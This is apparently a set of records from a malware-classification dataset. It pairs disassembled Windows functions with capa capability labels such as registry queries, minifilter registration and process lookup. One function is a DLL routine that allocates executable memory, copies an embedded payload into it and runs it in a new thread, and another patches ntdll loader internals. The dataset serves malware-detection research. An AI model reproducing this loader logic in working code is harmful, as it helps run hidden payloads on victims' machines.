joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10016350
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax - 8], r12
mov qword [rax - 0x10], r13
mov r13, rcx
mov edi, r8d
mov r12, rdx
call fcn.10010740
xor ebx, ebx
cmp qword [0x10024230], rbx
mov rsi, rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], ebx
jne 0x10016481
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rbp, rax
jne 0x100163b3
xor eax, eax
jmp 0x10016561
lea rdx, [0x1001e4d8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x100163ac
mov rcx, rax
call fcn.100106d0
lea rdx, str.GetActiveWindow
mov rcx, rbp
mov qword [0x10024230], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.100106d0
lea rdx, str.GetLastActivePopup
mov rcx, rbp
mov qword [0x10024238], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.100106d0
lea rcx, [rsp + 0x30]
mov qword [0x10024240], rax
call fcn.1000de50
test eax, eax
je 0x10016437
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.10011030
cmp dword [rsp + 0x30], 2
jne 0x10016481
lea rdx, str.GetUserObjectInformationA
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.100106d0
test rax, rax
mov qword [0x10024250], rax
je 0x10016481
lea rdx, str.GetProcessWindowStation
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.100106d0
mov qword [0x10024248], rax
mov rcx, qword [0x10024248]
cmp rcx, rsi
je 0x10016513
cmp qword [0x10024250], rsi
je 0x10016513
call fcn.100107a0
call rax
test rax, rax
mov rbp, rax
je 0x100164de
mov rcx, qword [0x10024250]
call fcn.100107a0
lea rcx, [rsp + 0x38]
mov r9d, 0xc
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x40]
mov rcx, rbp
call rax
test eax, eax
je 0x100164de
test byte [rsp + 0x48], 1
jne 0x10016513
lea rcx, [rsp + 0x34]
call fcn.1000dea0
test eax, eax
je 0x10016500
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.10011030
cmp dword [rsp + 0x34], 4
jb 0x1001650d
bts edi, 0x15
jmp 0x10016547
bts edi, 0x12
jmp 0x10016547
mov rcx, qword [0x10024238]
cmp rcx, rsi
je 0x10016547
call fcn.100107a0
call rax
test rax, rax
mov rbx, rax
je 0x10016547
mov rcx, qword [0x10024240]
cmp rcx, rsi
je 0x10016547
call fcn.100107a0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x10024230]
call fcn.100107a0
mov r9d, edi
mov r8, r12
mov rdx, r13
mov rcx, rbx
call rax
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x68
ret
Function at 0x1400011c0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x14006db40]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rbx, rcx
mov edi, r9d
lea rcx, [rsp + 0x38]
mov rsi, r8
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rax, [rsp + 0x30]
mov r8d, 2
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x48]
lea rdx, [rsp + 0x38]
mov dword [rsp + 0x20], 0x14
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
test eax, eax
js 0x140001233
cmp dword [rsp + 0x30], 0x14
ja 0x140001233
cmp dword [rsp + 0x4c], 4
jne 0x140001233
cmp dword [rsp + 0x50], 4
jne 0x140001233
mov edi, dword [rsp + 0x54]
mov dword [rsi], edi
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140011570
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret

Function at 0x140001508
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, qword [rsp + 0x90]
mov r14, r9
mov r15d, r8d
mov r13, rdx
mov r12, rcx
test rdi, rdi
je 0x140001573
movzx esi, word [rdi]
mov r8d, 0x67666e43
mov edx, esi
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rbx, rax
test rax, rax
jne 0x140001562
mov eax, 0xc0000017
jmp 0x140001699
mov rdx, qword [rdi + 8]
mov r8, rsi
mov rcx, rax
call fcn.1400117c0
jmp 0x140001577
xor esi, esi
xor ebx, ebx
mov rdx, r13
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
xor r9d, r9d
lea rax, [rsp + 0x90]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x30]
and dword [rsp + 0x20], 0
mov rcx, r12
lea ebp, [r9 + 2]
mov r8d, ebp
call qword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
cmp eax, 0x80000005
je 0x1400015c1
cmp eax, 0xc0000023
jne 0x14000168a
cmp dword [rsp + 0x90], 0x10
jb 0x14000168a
mov edx, dword [rsp + 0x90]
mov r13d, 0x67666e43
mov r8d, r13d
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rdi, rax
test rax, rax
je 0x14000168a
mov ecx, dword [rsp + 0x90]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x20], ecx
mov r9, rdi
mov rcx, r12
mov r8d, ebp
call qword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
test eax, eax
js 0x14000167e
cmp dword [rdi + 4], r15d
jne 0x14000167e
mov eax, dword [rdi + 8]
dec eax
cmp eax, 0xfffe
ja 0x14000167e
test rbx, rbx
je 0x140001646
mov edx, r13d
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov esi, dword [rdi + 8]
mov r8d, r13d
mov edx, esi
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rbx, rax
test rax, rax
jne 0x14000166f
mov edx, r13d
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jmp 0x140001558
lea rdx, [rdi + 0xc]
mov r8, rsi
mov rcx, rax
call fcn.1400117c0
mov edx, r13d
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov qword [r14 + 8], rbx
xor eax, eax
mov word [r14], si
mov word [r14 + 2], si
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140001bb4
Capabilities:
Create device object

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
xor edi, edi
mov dword [rbp - 0x20], 0x260024
lea rax, [0x140012350]
mov dword [rbp - 0x10], 0x2e002c
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [0x140012380]
mov qword [rbp + 0x18], rdi
mov qword [rbp - 8], rax
lea r9d, [rdi + 0x22]
lea rax, [rbp + 0x18]
xor edx, edx
mov qword [r11 - 0x38], rax
mov rbx, rcx
mov byte [rsp + 0x28], dil
mov dword [rsp + 0x20], edi
call qword [sym.imp.ntoskrnl.exe_IoCreateDevice]
mov esi, eax
test eax, eax
jns 0x140001c60
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentThreadId]
mov rdi, rax
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentProcessId]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_KeGetCurrentIrql]
lea r8, [0x1400123b0]
xor edx, edx
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rdi
movzx r9d, al
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
jmp 0x140001d21
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x10]
call qword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov esi, eax
test eax, eax
jns 0x140001c9f
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentThreadId]
mov rdi, rax
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentProcessId]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_KeGetCurrentIrql]
lea r8, [0x140012420]
jmp 0x140001c3e
lea rax, [0x140001d40]
mov qword [rbx + 0x70], rax
lea rax, [0x140001d40]
mov qword [rbx + 0x80], rax
lea rax, [0x140001d40]
mov qword [rbx + 0x100], rax
lea rax, [0x140001d60]
mov qword [rbx + 0xe0], rax
mov rax, qword [rbp + 0x18]
mov qword [0x14006dbb0], rax
mov byte [0x14006dba8], 1
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentThreadId]
mov rdi, rax
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentProcessId]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_KeGetCurrentIrql]
mov edx, 2
mov qword [rsp + 0x28], rdi
movzx r9d, al
lea r8, [0x1400124a0]
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 0x4b]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
lea r11, [rsp + 0x60]
mov eax, esi
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14000af80
Capabilities:
Register minifilter driver
Start minifilter driver

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rbx, rcx
xor edx, edx
lea rcx, [0x14006e268]
call fcn.140010e48
mov esi, eax
test eax, eax
jns 0x14000afe7
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentThreadId]
mov rdi, rax
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentProcessId]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_KeGetCurrentIrql]
xor edx, edx
mov dword [rsp + 0x30], esi
movzx r9d, al
lea r8, [0x140012c20]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
jmp 0x14000b181
xor r8d, r8d
lea rdx, [0x14000b1c0]
xor ecx, ecx
call section..text
mov edi, 1
lea rcx, [0x14006e260]
mov edx, edi
call fcn.140010e48
mov esi, eax
test eax, eax
jns 0x14000b059
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentThreadId]
mov rdi, rax
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentProcessId]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_KeGetCurrentIrql]
xor edx, edx
mov dword [rsp + 0x30], esi
movzx r9d, al
lea r8, [0x140012c20]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [0x14006e268]
jmp 0x14000b17c
xor r8d, r8d
lea rdx, [0x14000b1a0]
mov ecx, edi
call section..text
lea r8, [0x14006dbc0]
mov rcx, rbx
lea rdx, [0x14006b260]
call sub.FLTMGR.SYS_FltRegisterFilter
mov esi, eax
test eax, eax
js 0x14000b12d
mov rcx, qword [0x14006dbc0]
call sub.FLTMGR.SYS_FltStartFiltering
mov esi, eax
test eax, eax
jns 0x14000b0e9
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentThreadId]
mov rdi, rax
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentProcessId]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_KeGetCurrentIrql]
xor edx, edx
mov dword [rsp + 0x30], esi
movzx r9d, al
lea r8, [0x140012ca0]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [0x14006dbc0]
call sub.FLTMGR.SYS_FltUnregisterFilter
jmp 0x14000b169
mov byte [0x14006dbb8], dil
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentThreadId]
mov rdi, rax
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentProcessId]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_KeGetCurrentIrql]
mov edx, 2
mov qword [rsp + 0x28], rdi
movzx r9d, al
lea r8, [0x140012d80]
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 0x4b]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
jmp 0x14000b181
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentThreadId]
mov rdi, rax
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentProcessId]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_KeGetCurrentIrql]
xor edx, edx
mov dword [rsp + 0x30], esi
movzx r9d, al
lea r8, [0x140012d10]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 0x4d]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [0x14006e268]
call fcn.140010d80
mov rcx, qword [0x14006e260]
call fcn.140010d80
mov rbx, qword [rsp + 0x50]
mov eax, esi
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x14000b4d8
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x170
mov rax, qword [0x14006db40]
xor rax, rsp
mov qword [rsp + 0x160], rax
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x114
call fcn.140011a80
lea rcx, [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_RtlGetVersion]
mov esi, eax
test eax, eax
jns 0x14000b55e
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentThreadId]
mov rdi, rax
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentProcessId]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_KeGetCurrentIrql]
mov edx, 1
mov dword [rsp + 0x30], esi
movzx r9d, al
lea r8, [0x1400134f0]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 0x4c]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
cmp dword [rsp + 0x44], 6
jb 0x14000b575
jne 0x14000b571
cmp dword [rsp + 0x48], 2
setae al
jmp 0x14000b577
mov al, 1
jmp 0x14000b577
xor al, al
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140011570
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x14000b988
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rsi, r8
lea r9, [rax + 0x20]
mov r14, rdx
xor ebx, ebx
and dword [rax + 0x20], ebx
xor r8d, r8d
and dword [rax - 0x28], ebx
xor edx, edx
mov ebp, ecx
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14000ba45
mov eax, dword [rsp + 0x68]
add eax, dword [rsp + 0x20]
mov dword [rsp + 0x68], eax
test rbx, rbx
je 0x14000b9e8
mov edx, 0x72706c48
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [rsp + 0x68]
mov edx, eax
xor ecx, ecx
mov r8d, 0x72706c48
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rbx, rax
test rax, rax
je 0x14000ba40
mov r8d, dword [rsp + 0x68]
lea r9, [rsp + 0x20]
mov rdx, rax
mov ecx, ebp
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov edi, eax
cmp eax, 0xc0000004
je 0x14000b9c5
test eax, eax
jns 0x14000ba34
mov edx, 0x72706c48
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, edi
jmp 0x14000ba45
mov eax, dword [rsp + 0x68]
mov qword [r14], rbx
mov qword [rsi], rax
jmp 0x14000ba30
mov eax, 0xc0000022
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x14000d508
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rsi, rcx
lea rdx, [rsp + 0x58]
mov ecx, 4
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x14000d56e
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentThreadId]
mov rdi, rax
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentProcessId]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_KeGetCurrentIrql]
mov edx, 1
mov qword [rsp + 0x28], rdi
movzx r9d, al
lea r8, [0x140013cf0]
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 0x4c]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
jmp 0x14000d620
mov rcx, qword [rsi + 0x20]
call fcn.14000bd54
mov rcx, qword [rsp + 0x58]
mov rbx, rax
call fcn.14000bd54
mov rdi, rax
test rbx, rbx
je 0x14000d5c7
test rax, rax
je 0x14000d5c7
lea rcx, [0x14006e140]
call qword [sym.imp.ntoskrnl.exe_KeAcquireGuardedMutex]
mov rdx, qword [rbx]
cmp qword [rbx + 8], rdx
jne 0x14000d5b8
mov rax, qword [rdi]
mov qword [rbx + 8], rdi
mov qword [rbx], rax
mov qword [rdi], rbx
mov qword [rax + 8], rbx
lea rcx, [0x14006e140]
call qword [sym.imp.ntoskrnl.exe_KeReleaseGuardedMutex]
jmp 0x14000d615
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentThreadId]
mov rdi, rax
call qword [sym.imp.ntoskrnl.exe_PsGetCurrentProcessId]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_KeGetCurrentIrql]
mov rcx, qword [rsp + 0x58]
lea r8, [0x140013d70]
mov qword [rsp + 0x38], rcx
mov edx, 1
mov rcx, qword [rsi + 0x20]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdi
lea ecx, [rdx + 0x4c]
movzx r9d, al
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x1800010f0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x18000119e
movsxd rcx, dword [r10 + 0x3c]
add rcx, r10
cmp dword [rcx], 0x4550
jne 0x18000119e
movzx ebx, word [rcx + 0x14]
xor edx, edx
movzx r11d, word [rcx + 6]
add rbx, rcx
test r11d, r11d
je 0x18000119e
lea rdi, str..text
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rax + rax*4]
xor eax, eax
lea r9, [rcx*8]
lea r8, [r9 + rbx]
nop word [rax + rax]
movzx ecx, byte [rdi + rax]
inc rax
cmp cl, byte [r8 + rax + 0x17]
jne 0x180001197
cmp rax, 6
jne 0x180001170
mov eax, dword [r9 + rbx + 0x20]
mov ebx, dword [r9 + rbx + 0x24]
add rbx, r10
mov dword [rsp + 0x30], eax
jmp 0x1800011a0
inc edx
cmp edx, r11d
jl 0x180001150
xor ebx, ebx
mov esi, dword [rsp + 0x30]
lea rdx, [0x180006094]
add rsi, rbx
mov r9d, 7
mov r8, rsi
mov rcx, rbx
call fcn.180001010
test rax, rax
je 0x1800011e4
mov edx, dword [rax + 0x15]
mov dword [rdx + rax + 0x1a], 0
mov edx, 0xefff
mov rax, qword gs:[0x30]
and word [rax + 0x17ee], dx
mov rbp, qword gs:[0x60]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
je 0x1800012dd
lea rdx, str.RtlLeaveCriticalSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbp + 0x110]
call rax
lea rdx, str.LdrFastFailInLoaderCallout
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001241
mov ecx, dword [rax + 0x18]
mov dword [rcx + rax + 0x1d], 2
jmp 0x180001269
mov r9d, 0xa
lea rdx, [0x180006078]
mov r8, rsi
mov rcx, rbx
call fcn.180001010
test rax, rax
je 0x180001269
mov ecx, dword [rax + 5]
mov dword [rcx + rax + 9], 2
lea rdx, str.LdrGetDllFullName
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x1800012dd
mov r9d, 7
lea r8, [rax + 0x80]
lea rdx, [0x18000608c]
mov rcx, rax
call fcn.180001010
mov rcx, rax
test rax, rax
jne 0x1800012c4
mov r9d, 7
lea r8, [rbx + 0x80]
lea rdx, [0x180006084]
mov rcx, rbx
call fcn.180001010
mov rcx, rax
test rcx, rcx
je 0x1800012dd
mov eax, dword [rcx + 3]
mov rcx, qword [rax + rcx + 7]
mov rax, qword [rcx + 0x98]
add qword [rax + 0x38], 2
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x180001300
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0xfd8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xfc0], rax
cmp edx, 1
jne 0x180001523
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
lea rcx, str.ApiHelp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x180003608], rax
test rax, rax
jne 0x180001364
mov r9d, 0x10
lea r8, [0x180005204]
lea rdx, [0x180005210]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword [0x180003608]
mov qword [rsp + 0xfe8], rbx
test rax, rax
je 0x1800013ac
lea rdx, [0x180005230]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x1800013ce
mov r9d, 0x10
lea r8, [0x180005204]
lea rdx, [0x180005220]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov qword [0x1800035f8], rbx
xor eax, eax
mov rbx, qword [rsp + 0xfe8]
mov rcx, qword [rsp + 0xfc0]
xor rcx, rsp
call fcn.180001580
add rsp, 0xfd8
ret
mov rcx, qword [0x180003608]
lea rdx, [0x180005248]
mov qword [0x1800035f8], rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x180001416
mov r9d, 0x10
lea r8, [0x180005204]
lea rdx, [0x180005220]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov qword [0x180003600], rbx
jmp 0x1800013ac
mov qword [rsp + 0xfd0], rdi
mov qword [0x180003600], rbx
call fcn.1800010f0
lea rcx, [rsp + 0x50]
mov r8d, 0xf64
lea rdx, [0x180004210]
call sub.VCRUNTIME140.dll_memcpy
xor edi, edi
mov qword [rsp + 0x40], 0xf64
lea rcx, [0x1800041f0]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x38], edi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 4
mov qword [rsp + 0x20], rdi
mov rcx, rax
lea r8, [rsp + 0x38]
lea rdx, [rbx + 4]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movzx eax, word [rsp + 0x38]
mov word [0x1800060a4], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x40]
mov rcx, rax
mov dword [rsp + 0x20], 0x3000
lea rax, [0x1800060a0]
xor r8d, r8d
lea rdx, [rsp + 0x30]
call rax
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x50]
mov r8d, 0xf64
call sub.VCRUNTIME140.dll_memcpy
mov r8, qword [rsp + 0x30]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], rdi
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdi, qword [rsp + 0xfd0]
mov eax, 1
jmp 0x1800013ae
test edx, edx
jne 0x180001539
mov rcx, qword [0x180003608]
test rcx, rcx
je 0x180001539
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
mov rcx, qword [rsp + 0xfc0]
xor rcx, rsp
call fcn.180001580
add rsp, 0xfd8
ret
Function at 0x413560
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4136eb
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x00795fd0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x4135c5
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x4135d4
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x4135f3
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x413603
cmp rbx, 0x1000
jae 0x4135cb
jmp 0x41366d
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x413615
xor edx, edx
jmp 0x413664
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x00795fd0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x4135f9
jmp 0x4135e8
call sym.runtime.getlasterror.abi0
xorps xmm15, xmm15
mov r14, qword [0x00795fd0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call sym.runtime.printlock
lea rax, [0x0057f4b5]
mov ebx, 0x18
nop dword [rax]
call sym.runtime.printstring
mov rax, qword [rsp + 0x38]
call sym.runtime.printuint
lea rax, [0x0057fbdb]
mov ebx, 0x19
nop dword [rax + rax]
call sym.runtime.printstring
mov rax, qword [rsp + 0x30]
call sym.runtime.printuint
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x00582a38]
mov ebx, 0x21
call sym.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.runtime.sysUnusedOS